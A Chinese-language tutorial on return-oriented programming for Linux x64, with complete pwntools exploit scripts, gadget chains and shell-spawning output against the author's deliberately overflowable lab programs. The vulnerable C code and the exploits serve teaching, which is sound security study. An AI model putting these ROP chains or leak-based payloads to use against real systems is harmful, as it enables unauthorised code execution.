一步一步學ROP之linux_x64篇

wyzsk發表於2020-08-19
作者: 蒸米 · 2015/07/31 10:52

0x00 序


ROP的全稱為Return-oriented programming(返回導向程式設計),這是一種高階的記憶體攻擊技術可以用來繞過現代作業系統的各種通用防禦(比如記憶體不可執行和程式碼簽名等)。上次我們主要討論了linux_x86的ROP攻擊。

一步一步學ROP之linux_x86篇 /tips/?id=6597

在這次的教程中我們會帶來上一篇的補充以及linux_x64方面的ROP利用方法,歡迎大家繼續學習。

另外文中涉及程式碼可在我的github下載:https://github.com/zhengmin1989/ROP_STEP_BY_STEP

0x01 Memory Leak & DynELF - 在不獲取目標libc.so的情況下進行ROP攻擊


注意,這一節是上一篇文章的補充,還是講的x86的ROP。上次講到了如何透過ROP繞過x86下DEP和ASLR防護。但是我們要事先得到目標機器上的libc.so或者具體的linux版本號才能計算出相應的offset。那麼如果我們在獲取不到目標機器上的libc.so情況下,應該如何做呢?這時候就需要透過memory leak(記憶體洩露)來搜尋記憶體找到system()的地址。

這裡我們採用pwntools提供的DynELF模組來進行記憶體搜尋。首先我們需要實現一個leak(address)函式,透過這個函式可以獲取到某個地址上最少1 byte的資料。拿我們上一篇中的level2程式舉例。leak函式應該是這樣實現的:

#!python
def leak(address):
    payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4)
    p.send(payload1)
    data = p.recv(4)
    print "%#x => %s" % (address, (data or '').encode('hex'))
return data

隨後將這個函式作為引數再呼叫d = DynELF(leak, elf=ELF('./level2'))就可以對DynELF模組進行初始化了。然後可以透過呼叫system_addr = d.lookup('system', 'libc')來得到libc.so中system()在記憶體中的地址。

要注意的是,透過DynELF模組只能獲取到system()在記憶體中的地址,但無法獲取字串“/bin/sh”在記憶體中的地址。所以我們在payload中需要呼叫read()將“/bin/sh”這字串寫入到程式的.bss段中。.bss段是用來儲存全域性變數的值的,地址固定,並且可以讀可寫。透過readelf -S level2這個命令就可以獲取到bss段的地址了。

#!bash
$ readelf -S level2
There are 30 section headers, starting at offset 0x1148:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
……
  [23] .got.plt          PROGBITS        08049ff4 000ff4 000024 04  WA  0   0  4
  [24] .data             PROGBITS        0804a018 001018 000008 00  WA  0   0  4
  [25] .bss              NOBITS          0804a020 001020 000008 00  WA  0   0  4
  [26] .comment          PROGBITS        00000000 001020 00002a 01  MS  0   0  1
……

因為我們在執行完read()之後要接著呼叫system(“/bin/sh”),並且read()這個函式的引數有三個,所以我們需要一個pop pop pop ret的gadget用來保證棧平衡。這個gadget非常好找,用objdump就可以輕鬆找到。PS:我們會在隨後的章節中介紹如何用工具尋找更復雜的gadgets。

整個攻擊過程如下:首先透過DynELF獲取到system()的地址後,我們又透過read將“/bin/sh”寫入到.bss段上,最後再呼叫system(.bss),執行“/bin/sh”。最終的exp如下:

#!python
#!/usr/bin/env python
from pwn import *

elf = ELF('./level2')
plt_write = elf.symbols['write']
plt_read = elf.symbols['read']
vulfun_addr = 0x08048474

def leak(address):
    payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4)
    p.send(payload1)
    data = p.recv(4)
    print "%#x => %s" % (address, (data or '').encode('hex'))
    return data


p = process('./level2')
#p = remote('127.0.0.1', 10002)

d = DynELF(leak, elf=ELF('./level2'))

system_addr = d.lookup('system', 'libc')
print "system_addr=" + hex(system_addr)

bss_addr = 0x0804a020
pppr = 0x804855d

payload2 = 'a'*140  + p32(plt_read) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8) 
payload2 += p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)
#ss = raw_input()

print "\n###sending payload2 ...###"
p.send(payload2)
p.send("/bin/sh\0")

p.interactive()

執行結果如下:

#!bash
$ python exp4.py 
[+] Started program './level2'
0x8048000 => 7f454c46
[+] Loading from '/home/mzheng/CTF/level2': Done
0x8049ff8 => 18697eb7
[+] Resolving 'system' in 'libc.so': 0xb77e6918
0x8049f28 => 01000000
0x8049f30 => 0c000000
0x8049f38 => 0d000000
0x8049f40 => f5feff6f
0x8049f48 => 05000000
0x8049f50 => 06000000
0x8049f58 => 0a000000
0x8049f60 => 0b000000
0x8049f68 => 15000000
0x8049f70 => 03000000
0x8049f74 => f49f0408
0xb77e691c => c5eb7db7
0xb77debc5 => 0069203d
0xb77e6924 => 086c7eb7
0xb77e6c0c => c5eb7db7
0xb77e6c14 => 58387cb7
0xb77c385c => 38387cb7
0xb77c3838 => 2f6c6962
0xb77c383c => 2f693338
0xb77c3840 => 362d6c69
0xb77c3844 => 6e75782d
0xb77c3848 => 676e752f
0xb77c384c => 6c696263
0xb77c3850 => 2e736f2e
0xb77c3854 => 36000000
0xb77c3858 => 007060b7
0xb7607000 => 7f454c46
0xb77c3860 => 7cdd7ab7
0xb7607004 => 01010100
0xb77add7c => 01000000
0xb77add84 => 0e000000
0xb77add8c => 0c000000
0xb77add94 => 19000000
0xb77add9c => 1b000000
0xb77adda4 => 04000000
0xb77addac => f5feff6f
0xb77addb0 => b87160b7
0xb77addb4 => 05000000
0xb77addb8 => 584161b7
0xb77addbc => 06000000
0xb77addc0 => 38ae60b7
0xb76071b8 => f3030000
0xb76071bc => 09000000
0xb76071c0 => 00020000
0xb7608390 => 8e050000
0xb7609fa8 => 8ae4ee1c
0xb7610718 => 562f0000
0xb76170ae => 73797374
0xb76170b2 => 656d0074
0xb761071c => 60f40300
system_addr=0xb7646460

###sending payload2 ...###
[*] Switching to interactive mode
$ whoami
mzheng

0x02 linux_64與linux_86的區別


linux_64與linux_86的區別主要有兩點:首先是記憶體地址的範圍由32位變成了64位。但是可以使用的記憶體地址不能大於0x00007fffffffffff,否則會丟擲異常。其次是函式引數的傳遞方式發生了改變,x86中引數都是儲存在棧上,但在x64中的前六個引數依次儲存在RDI, RSI, RDX, RCX, R8和 R9中,如果還有更多的引數的話才會儲存在棧上。

我們還是拿實際程式做例子進行講解,level3.c內容如下:

#!c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void callsystem()
{
    system("/bin/sh");
}

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
    write(STDOUT_FILENO, "Hello, World\n", 13);
    vulnerable_function();
}

我們開啟ASLR並用如下方法編譯:

#!bash
$ gcc -fno-stack-protector level3.c -o level3

透過分析原始碼,我們可以看到想要獲取這個程式的shell非常簡單,只需要控制PC指標跳轉到callsystem()這個函式的地址上即可。因為程式本身在記憶體中的地址不是隨機的,所以不用擔心函式地址發生改變。接下來就是要找溢位點了。我們還是用老方法生成一串定位字串:

#!bash
$python pattern.py create 150 > payload
$ cat payload 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

然後執行gdb ./level3後輸入這串字串造成程式崩潰。

#!bash
(gdb) run < payload
Starting program: /home/mzheng/CTF/level3 < payload
Hello, World

Program received signal SIGSEGV, Segmentation fault.
0x00000000004005b3 in vulnerable_function ()

奇怪的事情發生了,PC指標並沒有指向類似於0x41414141那樣地址,而是停在了vulnerable_function()函式中。這是為什麼呢?原因就是我們之前提到過的程式使用的記憶體地址不能大於0x00007fffffffffff,否則會丟擲異常。但是,雖然PC不能跳轉到那個地址,我們依然可以透過棧來計算出溢位點。因為ret相當於“pop rip”指令,所以我們只要看一下棧頂的數值就能知道PC跳轉的地址了。

#!bash
(gdb) x/gx $rsp
0x7fffffffe188: 0x3765413665413565

在GDB裡,x是檢視記憶體的指令,隨後的gx代表數值用64位16進位制顯示。隨後我們就可以用pattern.py來計算溢位點。

#!bash
$ python pattern.py offset 0x3765413665413565
hex pattern decoded as: e5Ae6Ae7
136

可以看到溢位點為136位元組。我們再構造一次payload,並且跳轉到一個小於0x00007fffffffffff的地址,看看這次能否控制pc的指標。

#!bash
python -c 'print "A"*136+"ABCDEF\x00\x00"' > payload

(gdb) run < payload 
Starting program: /home/mzheng/CTF/level1 < payload
Hello, World

Program received signal SIGSEGV, Segmentation fault.
0x0000464544434241 in ?? ()

可以看到我們已經成功的控制了PC的指標了。所以最終的exp如下:

#!python
#!/usr/bin/env python
from pwn import *

elf = ELF('level3')

p = process('./level3')
#p = remote('127.0.0.1',10001)

callsystem = 0x0000000000400584

payload = "A"*136 + p64(callsystem)

p.send(payload)

p.interactive()

0x03使用工具尋找gadgets


我們之前提到x86中引數都是儲存在棧上,但在x64中前六個引數依次儲存在RDI, RSI, RDX, RCX, R8和 R9暫存器裡,如果還有更多的引數的話才會儲存在棧上。所以我們需要尋找一些類似於pop rdi; ret的這種gadget。如果是簡單的gadgets,我們可以透過objdump來查詢。但當我們打算尋找一些複雜的gadgets的時候,還是藉助於一些查詢gadgets的工具比較方便。比較有名的工具有:

ROPEME: https://github.com/packz/ropeme
Ropper: https://github.com/sashs/Ropper
ROPgadget: https://github.com/JonathanSalwan/ROPgadget/tree/master
rp++: https://github.com/0vercl0k/rp

這些工具功能上都差不多,找一款自己能用的慣的即可。

下面我們結合例子來講解,首先來看一下目標程式level4.c的原始碼:

#!c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>

void systemaddr()
{
    void* handle = dlopen("libc.so.6", RTLD_LAZY);
    printf("%p\n",dlsym(handle,"system"));
    fflush(stdout);
}

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
    systemaddr();
    write(1, "Hello, World\n", 13);
    vulnerable_function();
}

編譯方法:

#!bash
gcc -fno-stack-protector level4.c -o level4 -ldl

首先目標程式會列印system()在記憶體中的地址,這樣的話就不需要我們考慮ASLR的問題了,只需要想辦法觸發buffer overflow然後利用ROP執行system(“/bin/sh”)。但為了呼叫system(“/bin/sh”),我們需要找到一個gadget將rdi的值指向“/bin/sh”的地址。於是我們使用ROPGadget搜尋一下level4中所有pop ret的gadgets。

#!bash
$ ROPgadget --binary level4 --only "pop|ret" 
Gadgets information
============================================================
0x00000000004006d2 : pop rbp ; ret
0x00000000004006d1 : pop rbx ; pop rbp ; ret
0x0000000000400585 : ret
0x0000000000400735 : ret 0xbdb8

結果並不理想,因為程式比較小,在目標程式中並不能找到pop rdi; ret這個gadget。怎麼辦呢?解決方案是尋找libc.so中的gadgets。因為程式本身會load libc.so到記憶體中並且會列印system()的地址。所以當我們找到gadgets後可以透過system()計算出偏移量後呼叫對應的gadgets。

#!bash
$ ROPgadget --binary libc.so.6 --only "pop|ret" | grep rdi
0x000000000001f27d : pop rdi ; pop rbp ; ret
0x00000000000205cd : pop rdi ; pop rbx ; pop rbp ; ret
0x0000000000073033 : pop rdi ; pop rbx ; ret
0x0000000000022a12 : pop rdi ; ret

這次我們成功的找到了“pop rdi; ret”這個gadget了。也就可以構造我們的ROP鏈了。

#!bash
payload = "\x00"*136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr)

另外,因為我們只需呼叫一次system()函式就可以獲取shell,所以我們也可以搜尋不帶ret的gadgets來構造ROP鏈。

#!bash
$ ROPgadget --binary libc.so.6 --only "pop|call" | grep rdi
0x000000000012da1d : call qword ptr [rdi]
0x0000000000187113 : call qword ptr [rdx + rdi + 0x8f10001]
0x00000000000f1f04 : call rdi
0x00000000000f4739 : pop rax ; pop rdi ; call rax
0x00000000000f473a : pop rdi ; call rax

透過搜尋結果我們發現,0x00000000000f4739 : pop rax ; pop rdi ; call rax也可以完成我們的目標。首先將rax賦值為system()的地址,rdi賦值為“/bin/sh”的地址,最後再呼叫call rax即可。

#!python
payload = "\x00"*136 + p64(pop_pop_call_addr) + p64(system_addr) + p64(binsh_addr)

所以說這兩個ROP鏈都可以完成我們的目標,隨便選擇一個進行攻擊即可。最終exp如下:

#!python
#!/usr/bin/env python
from pwn import *

libc = ELF('libc.so.6')

p = process('./level4')
#p = remote('127.0.0.1',10001)

binsh_addr_offset = next(libc.search('/bin/sh')) -libc.symbols['system']
print "binsh_addr_offset = " + hex(binsh_addr_offset)

pop_ret_offset = 0x0000000000022a12 - libc.symbols['system']
print "pop_ret_offset = " + hex(pop_ret_offset)

#pop_pop_call_offset = 0x00000000000f4739 - libc.symbols['system']
#print "pop_pop_call_offset = " + hex(pop_pop_call_offset)

print "\n##########receiving system addr##########\n"
system_addr_str = p.recvuntil('\n')
system_addr = int(system_addr_str,16)
print "system_addr = " + hex(system_addr)

binsh_addr = system_addr + binsh_addr_offset
print "binsh_addr = " + hex(binsh_addr)


pop_ret_addr = system_addr + pop_ret_offset
print "pop_ret_addr = " + hex(pop_ret_addr)

#pop_pop_call_addr = system_addr + pop_pop_call_offset
#print "pop_pop_call_addr = " + hex(pop_pop_call_addr)

p.recv()

payload = "\x00"*136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr) 

#payload = "\x00"*136 + p64(pop_pop_call_addr) + p64(system_addr) + p64(binsh_addr) 

print "\n##########sending payload##########\n"
p.send(payload)

p.interactive()

執行結果如下:

#!bash
$ python exp6.py 
[+] Started program './level4'
binsh_addr_offset = 0x134d41
pop_ret_offset = -0x22d1e

##########receiving system addr##########

system_addr = 0x7f6f754d8730
binsh_addr = 0x7f6f7560d471
pop_ret_addr = 0x7f6f754b5a12

##########sending payload##########

[*] Switching to interactive mode
$ whoami
mzheng

0x04 通用gadgets


因為程式在編譯過程中會加入一些通用函式用來進行初始化操作(比如載入libc.so的初始化函式),所以雖然很多程式的原始碼不同,但是初始化的過程是相同的,因此針對這些初始化函式,我們可以提取一些通用的gadgets加以使用,從而達到我們想要達到的效果。

為了方便大家學習x64下的ROP,level3和level4的程式都留了一些輔助函式在程式中,這次我們將這些輔助函式去掉再來挑戰一下。目標程式level5.c如下:

#!c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
    write(STDOUT_FILENO, "Hello, World\n", 13);
    vulnerable_function();
}

可以看到這個程式僅僅只有一個buffer overflow,也沒有任何的輔助函式可以使用,所以我們要先想辦法洩露記憶體資訊,找到system()的值,然後再傳遞“/bin/sh”到.bss段, 最後呼叫system(“/bin/sh”)。因為原程式使用了write()和read()函式,我們可以透過write()去輸出write.got的地址,從而計算出libc.so在記憶體中的地址。但問題在於write()的引數應該如何傳遞,因為x64下前6個引數不是儲存在棧中,而是透過暫存器傳值。我們使用ROPgadget並沒有找到類似於pop rdi, ret,pop rsi, ret這樣的gadgets。那應該怎麼辦呢?其實在x64下有一些萬能的gadgets可以利用。比如說我們用objdump -d ./level5觀察一下__libc_csu_init()這個函式。一般來說,只要程式呼叫了libc.so,程式都會有這個函式用來對libc進行初始化操作。

#!bash
00000000004005a0 <__libc_csu_init>:
  4005a0:   48 89 6c 24 d8          mov    %rbp,-0x28(%rsp)
  4005a5:   4c 89 64 24 e0          mov    %r12,-0x20(%rsp)
  4005aa:   48 8d 2d 73 08 20 00    lea    0x200873(%rip),%rbp        # 600e24 <__init_array_end>
  4005b1:   4c 8d 25 6c 08 20 00    lea    0x20086c(%rip),%r12        # 600e24 <__init_array_end>
  4005b8:   4c 89 6c 24 e8          mov    %r13,-0x18(%rsp)
  4005bd:   4c 89 74 24 f0          mov    %r14,-0x10(%rsp)
  4005c2:   4c 89 7c 24 f8          mov    %r15,-0x8(%rsp)
  4005c7:   48 89 5c 24 d0          mov    %rbx,-0x30(%rsp)
  4005cc:   48 83 ec 38             sub    $0x38,%rsp
  4005d0:   4c 29 e5                sub    %r12,%rbp
  4005d3:   41 89 fd                mov    %edi,%r13d
  4005d6:   49 89 f6                mov    %rsi,%r14
  4005d9:   48 c1 fd 03             sar    $0x3,%rbp
  4005dd:   49 89 d7                mov    %rdx,%r15
  4005e0:   e8 1b fe ff ff          callq  400400 <_init>
  4005e5:   48 85 ed                test   %rbp,%rbp
  4005e8:   74 1c                   je     400606 <__libc_csu_init+0x66>
  4005ea:   31 db                   xor    %ebx,%ebx
  4005ec:   0f 1f 40 00             nopl   0x0(%rax)
  4005f0:   4c 89 fa                mov    %r15,%rdx
  4005f3:   4c 89 f6                mov    %r14,%rsi
  4005f6:   44 89 ef                mov    %r13d,%edi
  4005f9:   41 ff 14 dc             callq  *(%r12,%rbx,8)
  4005fd:   48 83 c3 01             add    $0x1,%rbx
  400601:   48 39 eb                cmp    %rbp,%rbx
  400604:   75 ea                   jne    4005f0 <__libc_csu_init+0x50>
  400606:   48 8b 5c 24 08          mov    0x8(%rsp),%rbx
  40060b:   48 8b 6c 24 10          mov    0x10(%rsp),%rbp
  400610:   4c 8b 64 24 18          mov    0x18(%rsp),%r12
  400615:   4c 8b 6c 24 20          mov    0x20(%rsp),%r13
  40061a:   4c 8b 74 24 28          mov    0x28(%rsp),%r14
  40061f:   4c 8b 7c 24 30          mov    0x30(%rsp),%r15
  400624:   48 83 c4 38             add    $0x38,%rsp
  400628:   c3                      retq   

我們可以看到利用0x400606處的程式碼我們可以控制rbx,rbp,r12,r13,r14和r15的值,隨後利用0x4005f0處的程式碼我們將r15的值賦值給rdx, r14的值賦值給rsi,r13的值賦值給edi,隨後就會呼叫call qword ptr [r12+rbx*8]。這時候我們只要再將rbx的值賦值為0,再透過精心構造棧上的資料,我們就可以控制pc去呼叫我們想要呼叫的函式了(比如說write函式)。執行完call qword ptr [r12+rbx*8]之後,程式會對rbx+=1,然後對比rbp和rbx的值,如果相等就會繼續向下執行並ret到我們想要繼續執行的地址。所以為了讓rbp和rbx的值相等,我們可以將rbp的值設定為1,因為之前已經將rbx的值設定為0了。大概思路就是這樣,我們下來構造ROP鏈。

我們先構造payload1,利用write()輸出write在記憶體中的地址。注意我們的gadget是call qword ptr [r12+rbx*8],所以我們應該使用write.got的地址而不是write.plt的地址。並且為了返回到原程式中,重複利用buffer overflow的漏洞,我們需要繼續覆蓋棧上的資料,直到把返回值覆蓋成目標函式的main函式為止。

#!bash
#rdi=  edi = r13,  rsi = r14, rdx = r15 
#write(rdi=1, rsi=write.got, rdx=4)
payload1 =  "\x00"*136
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main)

當我們exp在收到write()在記憶體中的地址後,就可以計算出system()在記憶體中的地址了。接著我們構造payload2,利用read()將system()的地址以及“/bin/sh”讀入到.bss段記憶體中。

#!bash
#rdi=  edi = r13,  rsi = r14, rdx = r15 
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 =  "\x00"*136
payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload2 += "\x00"*56
payload2 += p64(main)

最後我們構造payload3,呼叫system()函式執行“/bin/sh”。注意,system()的地址儲存在了.bss段首地址上,“/bin/sh”的地址儲存在了.bss段首地址+8位元組上。

#!bash
#rdi=  edi = r13,  rsi = r14, rdx = r15 
#system(rdi = bss_addr+8 = "/bin/sh")
payload3 =  "\x00"*136
payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload3 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload3 += "\x00"*56
payload3 += p64(main)

最終exp如下:

#!python
#!/usr/bin/env python
from pwn import *

elf = ELF('level5')
libc = ELF('libc.so.6')

p = process('./level5')
#p = remote('127.0.0.1',10001)

got_write = elf.got['write']
print "got_write: " + hex(got_write)
got_read = elf.got['read']
print "got_read: " + hex(got_read)

main = 0x400564

off_system_addr = libc.symbols['write'] - libc.symbols['system']
print "off_system_addr: " + hex(off_system_addr)

#rdi=  edi = r13,  rsi = r14, rdx = r15 
#write(rdi=1, rsi=write.got, rdx=4)
payload1 =  "\x00"*136
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main)

p.recvuntil("Hello, World\n")

print "\n#############sending payload1#############\n"
p.send(payload1)
sleep(1)

write_addr = u64(p.recv(8))
print "write_addr: " + hex(write_addr)

system_addr = write_addr - off_system_addr
print "system_addr: " + hex(system_addr)

bss_addr=0x601028

p.recvuntil("Hello, World\n")

#rdi=  edi = r13,  rsi = r14, rdx = r15 
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 =  "\x00"*136
payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload2 += "\x00"*56
payload2 += p64(main)

print "\n#############sending payload2#############\n"
p.send(payload2)
sleep(1)

p.send(p64(system_addr))
p.send("/bin/sh\0")
sleep(1)

p.recvuntil("Hello, World\n")

#rdi=  edi = r13,  rsi = r14, rdx = r15 
#system(rdi = bss_addr+8 = "/bin/sh")
payload3 =  "\x00"*136
payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload3 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload3 += "\x00"*56
payload3 += p64(main)

print "\n#############sending payload3#############\n"

sleep(1)
p.send(payload3)

p.interactive()

要注意的是,當我們把程式的io重定向到socket上的時候,根據網路協議,因為傳送的資料包過大,read()有時會截斷payload,造成payload傳輸不完整造成攻擊失敗。這時候要多試幾次即可成功。如果進行遠端攻擊的話,需要保證ping值足夠小才行(區域網)。最終執行結果如下:

#!bash
$ python exp7.py 
[+] Started program './level5'
got_write: 0x601000
got_read: 0x601008
off_system_addr: 0xa1c40

#############sending payload1#############

write_addr: 0x7f79d5779370
system_addr: 0x7f79d56d7730

#############sending payload2#############


#############sending payload3#############

[*] Switching to interactive mode
$ whoami
mzheng

0x05 EDB偵錯程式


我們在學習Linux ROP的過程中一定少不了除錯這一環節,雖然gdb的功能很強大,但命令列介面對很多人來說並不友好。很多學習Windows除錯的人用慣了ollydbg再接觸gdb的話總感覺很難上手。其實在linux下也有類似於ollydbg的除錯工具,那就是EDB-debugger。這裡給出edb的下載地址,具體的編譯請參考readme:

EDB-debugger https://github.com/eteran/edb-debugger

下面我們就拿level5做例子來講解一下如何使用EDB。首先是掛載(attach)程式和設定斷點(break point)。我們知道當我們在用exp.py指令碼進行攻擊的時候,指令碼會一直執行,我們並沒有足夠的時間進行掛載操作。想要進行除錯的話我們需要讓指令碼暫停一下,隨後再進行掛載。暫停的方法很簡單,只需要在指令碼中加一句”raw_input()”即可。比如說我們想在傳送payload1之前暫停一下指令碼,只需要這樣:

ss = raw_input()
print "\n#############sending payload1#############\n"
p.send(payload1)

這樣的話,當指令碼執行起來後,就會在raw_input()這一行停下來,等待使用者輸入。這時候我們就可以啟動EDB進行掛載了。

enter image description here

使用EDB進行掛載非常簡單,輸入程式名點ok即可。

enter image description here

掛載上以後就可以設定斷點了。首先在除錯視窗按”ctrl + g”就可以跳轉到目標地址,我們這裡將地址設定為0x400610,也就是第一個gadget的地址。

enter image description here

接著我們在0x400610這個地址前雙擊,就可以看到一個紅點,說明我們已經成功的下了斷點。接著按“F9”或者點選”Run”就可以讓程式繼續執行了。

雖然程式繼續執行了,但是指令碼還在繼續等待使用者的輸入,這時候只需要在命令列按一下回車,程式就會繼續執行,隨後會暫停在”0x400610”這個斷點。

enter image description here

接著我們可以按”F8”或者”F7”進行單步除錯,主視窗會顯示pc將要執行的指令以及執行後的結果。右邊會看到各個暫存器的值。注意,在暫存器(比如說RSP)的值上點選右鍵,可以選擇”follow in dump”,隨後就在data dump視窗就能看到這個地址上對應資料是什麼了。除此之外,EDB還支援動態修改記憶體資料,當你選中資料後,可以右鍵,選擇”Edit Bytes”,就可以對選中的資料進行動態修改。

以上介紹的只是EDB的一些基本操作,在隨後的章節中我們還會結合其他例子繼續介紹一些EDB的高階用法。

0x06小結


可以說ROP最大的藝術就是在於gadgets千變萬化的組合了。因為篇幅原因我們準備將如何尋找以及組合gadgets的技巧留到隨後的文章中去介紹。歡迎大家到時繼續學習。

0x07 參考資料


  1. 64位Linux下的棧溢位
  2. Week4-bigdata-丘比龍版銀河系最詳細Writeup!

0xFF 版權宣告


本文獨家首發於烏雲知識庫(drops.wooyun.org)。本文並沒有對任何單位和個人授權轉載。如本文被轉載,一定是屬於未經授權轉載,屬於嚴重的侵犯智慧財產權,本單位將追究法律責任。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章